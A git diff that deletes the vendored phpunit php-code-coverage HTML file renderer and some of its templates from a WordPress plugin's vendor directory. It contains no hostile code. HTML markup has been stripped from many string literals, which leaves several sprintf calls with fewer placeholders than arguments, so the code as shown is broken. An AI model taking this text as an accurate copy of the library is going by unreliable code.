deleted file mode 100644 index b59dc89d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php +++ /dev/null @@ -1,1162 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report\Html; - -use const ENT_COMPAT; -use const ENT_HTML401; -use const ENT_SUBSTITUTE; -use const T_ABSTRACT; -use const T_ARRAY; -use const T_AS; -use const T_BREAK; -use const T_CALLABLE; -use const T_CASE; -use const T_CATCH; -use const T_CLASS; -use const T_CLONE; -use const T_COMMENT; -use const T_CONST; -use const T_CONTINUE; -use const T_DECLARE; -use const T_DEFAULT; -use const T_DO; -use const T_DOC_COMMENT; -use const T_ECHO; -use const T_ELSE; -use const T_ELSEIF; -use const T_EMPTY; -use const T_ENDDECLARE; -use const T_ENDFOR; -use const T_ENDFOREACH; -use const T_ENDIF; -use const T_ENDSWITCH; -use const T_ENDWHILE; -use const T_EVAL; -use const T_EXIT; -use const T_EXTENDS; -use const T_FINAL; -use const T_FINALLY; -use const T_FOR; -use const T_FOREACH; -use const T_FUNCTION; -use const T_GLOBAL; -use const T_GOTO; -use const T_HALT_COMPILER; -use const T_IF; -use const T_IMPLEMENTS; -use const T_INCLUDE; -use const T_INCLUDE_ONCE; -use const T_INLINE_HTML; -use const T_INSTANCEOF; -use const T_INSTEADOF; -use const T_INTERFACE; -use const T_ISSET; -use const T_LIST; -use const T_NAMESPACE; -use const T_NEW; -use const T_PRINT; -use const T_PRIVATE; -use const T_PROTECTED; -use const T_PUBLIC; -use const T_REQUIRE; -use const T_REQUIRE_ONCE; -use const T_RETURN; -use const T_STATIC; -use const T_SWITCH; -use const T_THROW; -use const T_TRAIT; -use const T_TRY; -use const T_UNSET; -use const T_USE; -use const T_VAR; -use const T_WHILE; -use const T_YIELD; -use const T_YIELD_FROM; -use function array_key_exists; -use function array_keys; -use function array_merge; -use function array_pop; -use function array_unique; -use function constant; -use function count; -use function defined; -use function explode; -use function file_get_contents; -use function htmlspecialchars; -use function is_string; -use function ksort; -use function range; -use function sort; -use function sprintf; -use function str_replace; -use function substr; -use function token_get_all; -use function trim; -use PHPUnit\Runner\BaseTestRunner; -use SebastianBergmann\CodeCoverage\Node\File as FileNode; -use SebastianBergmann\CodeCoverage\Util\Percentage; -use SebastianBergmann\Template\Template; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class File extends Renderer -{ - /** - * @psalm-var array - */ - private static $keywordTokens = []; - - /** - * @var array - */ - private static $formattedSourceCache = []; - - /** - * @var int - */ - private $htmlSpecialCharsFlags = ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE; - - public function render(FileNode $node, string $file): void - { - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'file_branch.html' : 'file.html'); - $template = new Template($templateName, '{{', '}}'); - $this->setCommonTemplateVariables($template, $node); - - $template->setVar( - [ - 'items' => $this->renderItems($node), - 'lines' => $this->renderSourceWithLineCoverage($node), - 'legend' => '

Covered by small (and larger) testsCovered by medium (and large) testsCovered by large tests (and tests of unknown size)Not coveredNot coverable

', - 'structure' => '', - ] - ); - - $template->renderTo($file . '.html'); - - if ($this->hasBranchCoverage) { - $template->setVar( - [ - 'items' => $this->renderItems($node), - 'lines' => $this->renderSourceWithBranchCoverage($node), - 'legend' => '

Fully coveredPartially coveredNot covered

', - 'structure' => $this->renderBranchStructure($node), - ] - ); - - $template->renderTo($file . '_branch.html'); - - $template->setVar( - [ - 'items' => $this->renderItems($node), - 'lines' => $this->renderSourceWithPathCoverage($node), - 'legend' => '

Fully coveredPartially coveredNot covered

', - 'structure' => $this->renderPathStructure($node), - ] - ); - - $template->renderTo($file . '_path.html'); - } - } - - private function renderItems(FileNode $node): string - { - $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'file_item_branch.html' : 'file_item.html'); - $template = new Template($templateName, '{{', '}}'); - - $methodTemplateName = $this->templatePath . ($this->hasBranchCoverage ? 'method_item_branch.html' : 'method_item.html'); - $methodItemTemplate = new Template( - $methodTemplateName, - '{{', - '}}' - ); - - $items = $this->renderItemTemplate( - $template, - [ - 'name' => 'Total', - 'numClasses' => $node->numberOfClassesAndTraits(), - 'numTestedClasses' => $node->numberOfTestedClassesAndTraits(), - 'numMethods' => $node->numberOfFunctionsAndMethods(), - 'numTestedMethods' => $node->numberOfTestedFunctionsAndMethods(), - 'linesExecutedPercent' => $node->percentageOfExecutedLines()->asFloat(), - 'linesExecutedPercentAsString' => $node->percentageOfExecutedLines()->asString(), - 'numExecutedLines' => $node->numberOfExecutedLines(), - 'numExecutableLines' => $node->numberOfExecutableLines(), - 'branchesExecutedPercent' => $node->percentageOfExecutedBranches()->asFloat(), - 'branchesExecutedPercentAsString' => $node->percentageOfExecutedBranches()->asString(), - 'numExecutedBranches' => $node->numberOfExecutedBranches(), - 'numExecutableBranches' => $node->numberOfExecutableBranches(), - 'pathsExecutedPercent' => $node->percentageOfExecutedPaths()->asFloat(), - 'pathsExecutedPercentAsString' => $node->percentageOfExecutedPaths()->asString(), - 'numExecutedPaths' => $node->numberOfExecutedPaths(), - 'numExecutablePaths' => $node->numberOfExecutablePaths(), - 'testedMethodsPercent' => $node->percentageOfTestedFunctionsAndMethods()->asFloat(), - 'testedMethodsPercentAsString' => $node->percentageOfTestedFunctionsAndMethods()->asString(), - 'testedClassesPercent' => $node->percentageOfTestedClassesAndTraits()->asFloat(), - 'testedClassesPercentAsString' => $node->percentageOfTestedClassesAndTraits()->asString(), - 'crap' => 'CRAP', - ] - ); - - $items .= $this->renderFunctionItems( - $node->functions(), - $methodItemTemplate - ); - - $items .= $this->renderTraitOrClassItems( - $node->traits(), - $template, - $methodItemTemplate - ); - - $items .= $this->renderTraitOrClassItems( - $node->classes(), - $template, - $methodItemTemplate - ); - - return $items; - } - - private function renderTraitOrClassItems(array $items, Template $template, Template $methodItemTemplate): string - { - $buffer = ''; - - if (empty($items)) { - return $buffer; - } - - foreach ($items as $name => $item) { - $numMethods = 0; - $numTestedMethods = 0; - - foreach ($item['methods'] as $method) { - if ($method['executableLines'] > 0) { - $numMethods++; - - if ($method['executedLines'] === $method['executableLines']) { - $numTestedMethods++; - } - } - } - - if ($item['executableLines'] > 0) { - $numClasses = 1; - $numTestedClasses = $numTestedMethods === $numMethods ? 1 : 0; - $linesExecutedPercentAsString = Percentage::fromFractionAndTotal( - $item['executedLines'], - $item['executableLines'] - )->asString(); - $branchesExecutedPercentAsString = Percentage::fromFractionAndTotal( - $item['executedBranches'], - $item['executableBranches'] - )->asString(); - $pathsExecutedPercentAsString = Percentage::fromFractionAndTotal( - $item['executedPaths'], - $item['executablePaths'] - )->asString(); - } else { - $numClasses = 0; - $numTestedClasses = 0; - $linesExecutedPercentAsString = 'n/a'; - $branchesExecutedPercentAsString = 'n/a'; - $pathsExecutedPercentAsString = 'n/a'; - } - - $testedMethodsPercentage = Percentage::fromFractionAndTotal( - $numTestedMethods, - $numMethods - ); - - $testedClassesPercentage = Percentage::fromFractionAndTotal( - $numTestedMethods === $numMethods ? 1 : 0, - 1 - ); - - $buffer .= $this->renderItemTemplate( - $template, - [ - 'name' => $this->abbreviateClassName($name), - 'numClasses' => $numClasses, - 'numTestedClasses' => $numTestedClasses, - 'numMethods' => $numMethods, - 'numTestedMethods' => $numTestedMethods, - 'linesExecutedPercent' => Percentage::fromFractionAndTotal( - $item['executedLines'], - $item['executableLines'], - )->asFloat(), - 'linesExecutedPercentAsString' => $linesExecutedPercentAsString, - 'numExecutedLines' => $item['executedLines'], - 'numExecutableLines' => $item['executableLines'], - 'branchesExecutedPercent' => Percentage::fromFractionAndTotal( - $item['executedBranches'], - $item['executableBranches'], - )->asFloat(), - 'branchesExecutedPercentAsString' => $branchesExecutedPercentAsString, - 'numExecutedBranches' => $item['executedBranches'], - 'numExecutableBranches' => $item['executableBranches'], - 'pathsExecutedPercent' => Percentage::fromFractionAndTotal( - $item['executedPaths'], - $item['executablePaths'] - )->asFloat(), - 'pathsExecutedPercentAsString' => $pathsExecutedPercentAsString, - 'numExecutedPaths' => $item['executedPaths'], - 'numExecutablePaths' => $item['executablePaths'], - 'testedMethodsPercent' => $testedMethodsPercentage->asFloat(), - 'testedMethodsPercentAsString' => $testedMethodsPercentage->asString(), - 'testedClassesPercent' => $testedClassesPercentage->asFloat(), - 'testedClassesPercentAsString' => $testedClassesPercentage->asString(), - 'crap' => $item['crap'], - ] - ); - - foreach ($item['methods'] as $method) { - $buffer .= $this->renderFunctionOrMethodItem( - $methodItemTemplate, - $method, - ' ' - ); - } - } - - return $buffer; - } - - private function renderFunctionItems(array $functions, Template $template): string - { - if (empty($functions)) { - return ''; - } - - $buffer = ''; - - foreach ($functions as $function) { - $buffer .= $this->renderFunctionOrMethodItem( - $template, - $function - ); - } - - return $buffer; - } - - private function renderFunctionOrMethodItem(Template $template, array $item, string $indent = ''): string - { - $numMethods = 0; - $numTestedMethods = 0; - - if ($item['executableLines'] > 0) { - $numMethods = 1; - - if ($item['executedLines'] === $item['executableLines']) { - $numTestedMethods = 1; - } - } - - $executedLinesPercentage = Percentage::fromFractionAndTotal( - $item['executedLines'], - $item['executableLines'] - ); - - $executedBranchesPercentage = Percentage::fromFractionAndTotal( - $item['executedBranches'], - $item['executableBranches'] - ); - - $executedPathsPercentage = Percentage::fromFractionAndTotal( - $item['executedPaths'], - $item['executablePaths'] - ); - - $testedMethodsPercentage = Percentage::fromFractionAndTotal( - $numTestedMethods, - 1 - ); - - return $this->renderItemTemplate( - $template, - [ - 'name' => sprintf( - '%s%s', - $indent, - $item['startLine'], - htmlspecialchars($item['signature'], $this->htmlSpecialCharsFlags), - $item['functionName'] ?? $item['methodName'] - ), - 'numMethods' => $numMethods, - 'numTestedMethods' => $numTestedMethods, - 'linesExecutedPercent' => $executedLinesPercentage->asFloat(), - 'linesExecutedPercentAsString' => $executedLinesPercentage->asString(), - 'numExecutedLines' => $item['executedLines'], - 'numExecutableLines' => $item['executableLines'], - 'branchesExecutedPercent' => $executedBranchesPercentage->asFloat(), - 'branchesExecutedPercentAsString' => $executedBranchesPercentage->asString(), - 'numExecutedBranches' => $item['executedBranches'], - 'numExecutableBranches' => $item['executableBranches'], - 'pathsExecutedPercent' => $executedPathsPercentage->asFloat(), - 'pathsExecutedPercentAsString' => $executedPathsPercentage->asString(), - 'numExecutedPaths' => $item['executedPaths'], - 'numExecutablePaths' => $item['executablePaths'], - 'testedMethodsPercent' => $testedMethodsPercentage->asFloat(), - 'testedMethodsPercentAsString' => $testedMethodsPercentage->asString(), - 'crap' => $item['crap'], - ] - ); - } - - private function renderSourceWithLineCoverage(FileNode $node): string - { - $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); - $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); - - $coverageData = $node->lineCoverageData(); - $testData = $node->testData(); - $codeLines = $this->loadFile($node->pathAsString()); - $lines = ''; - $i = 1; - - foreach ($codeLines as $line) { - $trClass = ''; - $popoverContent = ''; - $popoverTitle = ''; - - if (array_key_exists($i, $coverageData)) { - $numTests = ($coverageData[$i] ? count($coverageData[$i]) : 0); - - if ($coverageData[$i] === null) { - $trClass = 'warning'; - } elseif ($numTests === 0) { - $trClass = 'danger'; - } else { - if ($numTests > 1) { - $popoverTitle = $numTests . ' tests cover line ' . $i; - } else { - $popoverTitle = '1 test covers line ' . $i; - } - - $lineCss = 'covered-by-large-tests'; - $popoverContent = '
    '; - - foreach ($coverageData[$i] as $test) { - if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { - $lineCss = 'covered-by-medium-tests'; - } elseif ($testData[$test]['size'] === 'small') { - $lineCss = 'covered-by-small-tests'; - } - - $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); - } - - $popoverContent .= '
'; - $trClass = $lineCss . ' popin'; - } - } - - $popover = ''; - - if (!empty($popoverTitle)) { - $popover = sprintf( - ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', - $popoverTitle, - htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) - ); - } - - $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); - - $i++; - } - - $linesTemplate->setVar(['lines' => $lines]); - - return $linesTemplate->render(); - } - - private function renderSourceWithBranchCoverage(FileNode $node): string - { - $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); - $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); - - $functionCoverageData = $node->functionCoverageData(); - $testData = $node->testData(); - $codeLines = $this->loadFile($node->pathAsString()); - - $lineData = []; - - /** @var int $line */ - foreach (array_keys($codeLines) as $line) { - $lineData[$line + 1] = [ - 'includedInBranches' => 0, - 'includedInHitBranches' => 0, - 'tests' => [], - ]; - } - - foreach ($functionCoverageData as $method) { - foreach ($method['branches'] as $branch) { - foreach (range($branch['line_start'], $branch['line_end']) as $line) { - if (!isset($lineData[$line])) { // blank line at end of file is sometimes included here - continue; - } - - $lineData[$line]['includedInBranches']++; - - if ($branch['hit']) { - $lineData[$line]['includedInHitBranches']++; - $lineData[$line]['tests'] = array_unique(array_merge($lineData[$line]['tests'], $branch['hit'])); - } - } - } - } - - $lines = ''; - $i = 1; - - /** @var string $line */ - foreach ($codeLines as $line) { - $trClass = ''; - $popover = ''; - - if ($lineData[$i]['includedInBranches'] > 0) { - $lineCss = 'success'; - - if ($lineData[$i]['includedInHitBranches'] === 0) { - $lineCss = 'danger'; - } elseif ($lineData[$i]['includedInHitBranches'] !== $lineData[$i]['includedInBranches']) { - $lineCss = 'warning'; - } - - $popoverContent = '
    '; - - if (count($lineData[$i]['tests']) === 1) { - $popoverTitle = '1 test covers line ' . $i; - } else { - $popoverTitle = count($lineData[$i]['tests']) . ' tests cover line ' . $i; - } - $popoverTitle .= '. These are covering ' . $lineData[$i]['includedInHitBranches'] . ' out of the ' . $lineData[$i]['includedInBranches'] . ' code branches.'; - - foreach ($lineData[$i]['tests'] as $test) { - $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); - } - - $popoverContent .= '
'; - $trClass = $lineCss . ' popin'; - - $popover = sprintf( - ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', - $popoverTitle, - htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) - ); - } - - $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); - - $i++; - } - - $linesTemplate->setVar(['lines' => $lines]); - - return $linesTemplate->render(); - } - - private function renderSourceWithPathCoverage(FileNode $node): string - { - $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); - $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); - - $functionCoverageData = $node->functionCoverageData(); - $testData = $node->testData(); - $codeLines = $this->loadFile($node->pathAsString()); - - $lineData = []; - - /** @var int $line */ - foreach (array_keys($codeLines) as $line) { - $lineData[$line + 1] = [ - 'includedInPaths' => [], - 'includedInHitPaths' => [], - 'tests' => [], - ]; - } - - foreach ($functionCoverageData as $method) { - foreach ($method['paths'] as $pathId => $path) { - foreach ($path['path'] as $branchTaken) { - foreach (range($method['branches'][$branchTaken]['line_start'], $method['branches'][$branchTaken]['line_end']) as $line) { - if (!isset($lineData[$line])) { - continue; - } - $lineData[$line]['includedInPaths'][] = $pathId; - - if ($path['hit']) { - $lineData[$line]['includedInHitPaths'][] = $pathId; - $lineData[$line]['tests'] = array_unique(array_merge($lineData[$line]['tests'], $path['hit'])); - } - } - } - } - } - - $lines = ''; - $i = 1; - - /** @var string $line */ - foreach ($codeLines as $line) { - $trClass = ''; - $popover = ''; - $includedInPathsCount = count(array_unique($lineData[$i]['includedInPaths'])); - $includedInHitPathsCount = count(array_unique($lineData[$i]['includedInHitPaths'])); - - if ($includedInPathsCount > 0) { - $lineCss = 'success'; - - if ($includedInHitPathsCount === 0) { - $lineCss = 'danger'; - } elseif ($includedInHitPathsCount !== $includedInPathsCount) { - $lineCss = 'warning'; - } - - $popoverContent = '
    '; - - if (count($lineData[$i]['tests']) === 1) { - $popoverTitle = '1 test covers line ' . $i; - } else { - $popoverTitle = count($lineData[$i]['tests']) . ' tests cover line ' . $i; - } - $popoverTitle .= '. These are covering ' . $includedInHitPathsCount . ' out of the ' . $includedInPathsCount . ' code paths.'; - - foreach ($lineData[$i]['tests'] as $test) { - $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); - } - - $popoverContent .= '
'; - $trClass = $lineCss . ' popin'; - - $popover = sprintf( - ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', - $popoverTitle, - htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) - ); - } - - $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); - - $i++; - } - - $linesTemplate->setVar(['lines' => $lines]); - - return $linesTemplate->render(); - } - - private function renderBranchStructure(FileNode $node): string - { - $branchesTemplate = new Template($this->templatePath . 'branches.html.dist', '{{', '}}'); - - $coverageData = $node->functionCoverageData(); - $testData = $node->testData(); - $codeLines = $this->loadFile($node->pathAsString()); - $branches = ''; - - ksort($coverageData); - - foreach ($coverageData as $methodName => $methodData) { - if (!$methodData['branches']) { - continue; - } - - $branchStructure = ''; - - foreach ($methodData['branches'] as $branch) { - $branchStructure .= $this->renderBranchLines($branch, $codeLines, $testData); - } - - if ($branchStructure !== '') { // don't show empty branches - $branches .= '
' . $this->abbreviateMethodName($methodName) . '
' . "\n"; - $branches .= $branchStructure; - } - } - - $branchesTemplate->setVar(['branches' => $branches]); - - return $branchesTemplate->render(); - } - - private function renderBranchLines(array $branch, array $codeLines, array $testData): string - { - $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); - $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); - - $lines = ''; - - $branchLines = range($branch['line_start'], $branch['line_end']); - sort($branchLines); // sometimes end_line < start_line - - /** @var int $line */ - foreach ($branchLines as $line) { - if (!isset($codeLines[$line])) { // blank line at end of file is sometimes included here - continue; - } - - $popoverContent = ''; - $popoverTitle = ''; - - $numTests = count($branch['hit']); - - if ($numTests === 0) { - $trClass = 'danger'; - } else { - $lineCss = 'covered-by-large-tests'; - $popoverContent = '
    '; - - if ($numTests > 1) { - $popoverTitle = $numTests . ' tests cover this branch'; - } else { - $popoverTitle = '1 test covers this branch'; - } - - foreach ($branch['hit'] as $test) { - if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { - $lineCss = 'covered-by-medium-tests'; - } elseif ($testData[$test]['size'] === 'small') { - $lineCss = 'covered-by-small-tests'; - } - - $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); - } - $trClass = $lineCss . ' popin'; - } - - $popover = ''; - - if (!empty($popoverTitle)) { - $popover = sprintf( - ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', - $popoverTitle, - htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) - ); - } - - $lines .= $this->renderLine($singleLineTemplate, $line, $codeLines[$line - 1], $trClass, $popover); - } - - if ($lines === '') { - return ''; - } - - $linesTemplate->setVar(['lines' => $lines]); - - return $linesTemplate->render(); - } - - private function renderPathStructure(FileNode $node): string - { - $pathsTemplate = new Template($this->templatePath . 'paths.html.dist', '{{', '}}'); - - $coverageData = $node->functionCoverageData(); - $testData = $node->testData(); - $codeLines = $this->loadFile($node->pathAsString()); - $paths = ''; - - ksort($coverageData); - - foreach ($coverageData as $methodName => $methodData) { - if (!$methodData['paths']) { - continue; - } - - $pathStructure = ''; - - if (count($methodData['paths']) > 100) { - $pathStructure .= '

    ' . count($methodData['paths']) . ' is too many paths to sensibly render, consider refactoring your code to bring this number down.

    '; - - continue; - } - - foreach ($methodData['paths'] as $path) { - $pathStructure .= $this->renderPathLines($path, $methodData['branches'], $codeLines, $testData); - } - - if ($pathStructure !== '') { - $paths .= '
    ' . $this->abbreviateMethodName($methodName) . '
    ' . "\n"; - $paths .= $pathStructure; - } - } - - $pathsTemplate->setVar(['paths' => $paths]); - - return $pathsTemplate->render(); - } - - private function renderPathLines(array $path, array $branches, array $codeLines, array $testData): string - { - $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); - $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); - - $lines = ''; - $first = true; - - foreach ($path['path'] as $branchId) { - if ($first) { - $first = false; - } else { - $lines .= '  ' . "\n"; - } - - $branchLines = range($branches[$branchId]['line_start'], $branches[$branchId]['line_end']); - sort($branchLines); // sometimes end_line < start_line - - /** @var int $line */ - foreach ($branchLines as $line) { - if (!isset($codeLines[$line])) { // blank line at end of file is sometimes included here - continue; - } - - $popoverContent = ''; - $popoverTitle = ''; - - $numTests = count($path['hit']); - - if ($numTests === 0) { - $trClass = 'danger'; - } else { - $lineCss = 'covered-by-large-tests'; - $popoverContent = '
      '; - - if ($numTests > 1) { - $popoverTitle = $numTests . ' tests cover this path'; - } else { - $popoverTitle = '1 test covers this path'; - } - - foreach ($path['hit'] as $test) { - if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { - $lineCss = 'covered-by-medium-tests'; - } elseif ($testData[$test]['size'] === 'small') { - $lineCss = 'covered-by-small-tests'; - } - - $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); - } - - $trClass = $lineCss . ' popin'; - } - - $popover = ''; - - if (!empty($popoverTitle)) { - $popover = sprintf( - ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', - $popoverTitle, - htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) - ); - } - - $lines .= $this->renderLine($singleLineTemplate, $line, $codeLines[$line - 1], $trClass, $popover); - } - } - - if ($lines === '') { - return ''; - } - - $linesTemplate->setVar(['lines' => $lines]); - - return $linesTemplate->render(); - } - - private function renderLine(Template $template, int $lineNumber, string $lineContent, string $class, string $popover): string - { - $template->setVar( - [ - 'lineNumber' => $lineNumber, - 'lineContent' => $lineContent, - 'class' => $class, - 'popover' => $popover, - ] - ); - - return $template->render(); - } - - private function loadFile(string $file): array - { - if (isset(self::$formattedSourceCache[$file])) { - return self::$formattedSourceCache[$file]; - } - - $buffer = file_get_contents($file); - $tokens = token_get_all($buffer); - $result = ['']; - $i = 0; - $stringFlag = false; - $fileEndsWithNewLine = substr($buffer, -1) === "\n"; - - unset($buffer); - - foreach ($tokens as $j => $token) { - if (is_string($token)) { - if ($token === '"' && $tokens[$j - 1] !== '\\') { - $result[$i] .= sprintf( - '%s', - htmlspecialchars($token, $this->htmlSpecialCharsFlags) - ); - - $stringFlag = !$stringFlag; - } else { - $result[$i] .= sprintf( - '%s', - htmlspecialchars($token, $this->htmlSpecialCharsFlags) - ); - } - - continue; - } - - [$token, $value] = $token; - - $value = str_replace( - ["\t", ' '], - ['    ', ' '], - htmlspecialchars($value, $this->htmlSpecialCharsFlags) - ); - - if ($value === "\n") { - $result[++$i] = ''; - } else { - $lines = explode("\n", $value); - - foreach ($lines as $jj => $line) { - $line = trim($line); - - if ($line !== '') { - if ($stringFlag) { - $colour = 'string'; - } else { - $colour = 'default'; - - if ($this->isInlineHtml($token)) { - $colour = 'html'; - } elseif ($this->isComment($token)) { - $colour = 'comment'; - } elseif ($this->isKeyword($token)) { - $colour = 'keyword'; - } - } - - $result[$i] .= sprintf( - '%s', - $colour, - $line - ); - } - - if (isset($lines[$jj + 1])) { - $result[++$i] = ''; - } - } - } - } - - if ($fileEndsWithNewLine) { - unset($result[count($result) - 1]); - } - - self::$formattedSourceCache[$file] = $result; - - return $result; - } - - private function abbreviateClassName(string $className): string - { - $tmp = explode('\\', $className); - - if (count($tmp) > 1) { - $className = sprintf( - '%s', - $className, - array_pop($tmp) - ); - } - - return $className; - } - - private function abbreviateMethodName(string $methodName): string - { - $parts = explode('->', $methodName); - - if (count($parts) === 2) { - return $this->abbreviateClassName($parts[0]) . '->' . $parts[1]; - } - - return $methodName; - } - - private function createPopoverContentForTest(string $test, array $testData): string - { - $testCSS = ''; - - if ($testData['fromTestcase']) { - switch ($testData['status']) { - case BaseTestRunner::STATUS_PASSED: - switch ($testData['size']) { - case 'small': - $testCSS = ' class="covered-by-small-tests"'; - - break; - - case 'medium': - $testCSS = ' class="covered-by-medium-tests"'; - - break; - - default: - $testCSS = ' class="covered-by-large-tests"'; - - break; - } - - break; - - case BaseTestRunner::STATUS_SKIPPED: - case BaseTestRunner::STATUS_INCOMPLETE: - case BaseTestRunner::STATUS_RISKY: - case BaseTestRunner::STATUS_WARNING: - $testCSS = ' class="warning"'; - - break; - - case BaseTestRunner::STATUS_FAILURE: - case BaseTestRunner::STATUS_ERROR: - $testCSS = ' class="danger"'; - - break; - } - } - - return sprintf( - '%s', - $testCSS, - htmlspecialchars($test, $this->htmlSpecialCharsFlags) - ); - } - - private function isComment(int $token): bool - { - return $token === T_COMMENT || $token === T_DOC_COMMENT; - } - - private function isInlineHtml(int $token): bool - { - return $token === T_INLINE_HTML; - } - - private function isKeyword(int $token): bool - { - return isset(self::keywordTokens()[$token]); - } - - /** - * @psalm-return array - */ - private static function keywordTokens(): array - { - if (self::$keywordTokens !== []) { - return self::$keywordTokens; - } - - self::$keywordTokens = [ - T_ABSTRACT => true, - T_ARRAY => true, - T_AS => true, - T_BREAK => true, - T_CALLABLE => true, - T_CASE => true, - T_CATCH => true, - T_CLASS => true, - T_CLONE => true, - T_CONST => true, - T_CONTINUE => true, - T_DECLARE => true, - T_DEFAULT => true, - T_DO => true, - T_ECHO => true, - T_ELSE => true, - T_ELSEIF => true, - T_EMPTY => true, - T_ENDDECLARE => true, - T_ENDFOR => true, - T_ENDFOREACH => true, - T_ENDIF => true, - T_ENDSWITCH => true, - T_ENDWHILE => true, - T_EVAL => true, - T_EXIT => true, - T_EXTENDS => true, - T_FINAL => true, - T_FINALLY => true, - T_FOR => true, - T_FOREACH => true, - T_FUNCTION => true, - T_GLOBAL => true, - T_GOTO => true, - T_HALT_COMPILER => true, - T_IF => true, - T_IMPLEMENTS => true, - T_INCLUDE => true, - T_INCLUDE_ONCE => true, - T_INSTANCEOF => true, - T_INSTEADOF => true, - T_INTERFACE => true, - T_ISSET => true, - T_LIST => true, - T_NAMESPACE => true, - T_NEW => true, - T_PRINT => true, - T_PRIVATE => true, - T_PROTECTED => true, - T_PUBLIC => true, - T_REQUIRE => true, - T_REQUIRE_ONCE => true, - T_RETURN => true, - T_STATIC => true, - T_SWITCH => true, - T_THROW => true, - T_TRAIT => true, - T_TRY => true, - T_UNSET => true, - T_USE => true, - T_VAR => true, - T_WHILE => true, - T_YIELD => true, - T_YIELD_FROM => true, - ]; - - if (defined('T_FN')) { - self::$keywordTokens[constant('T_FN')] = true; - } - - if (defined('T_MATCH')) { - self::$keywordTokens[constant('T_MATCH')] = true; - } - - if (defined('T_ENUM')) { - self::$keywordTokens[constant('T_ENUM')] = true; - } - - if (defined('T_READONLY')) { - self::$keywordTokens[constant('T_READONLY')] = true; - } - - return self::$keywordTokens; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/branches.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/branches.html.dist deleted file mode 100644 index 54770262..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/branches.html.dist +++ /dev/null @@ -1,9 +0,0 @@ -
      -

      Branches

      -

      - Below are the source code lines that represent each code branch as identified by Xdebug. Please note a branch is not - necessarily coterminous with a line, a line may contain multiple branches and therefore show up more than once. - Please also be aware that some branches may be implicit rather than explicit, e.g. an if statement - always has an else as part of its logical flow even if you didn't write one. -

      -{{branches}} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar.html.dist deleted file mode 100644 index 7fcf6f49..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar.html.dist +++ /dev/null @@ -1,5 +0,0 @@ -
      -
      - {{percent}}% covered ({{level}}) -
      -
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar_branch.html.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar_branch.html.dist deleted file mode 100644 index 7fcf6f49..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar_branch.html.dist +++ /dev/null @@ -1,5 +0,0 @@ -
      -
      - {{percent}}% covered ({{level}}) -
      -
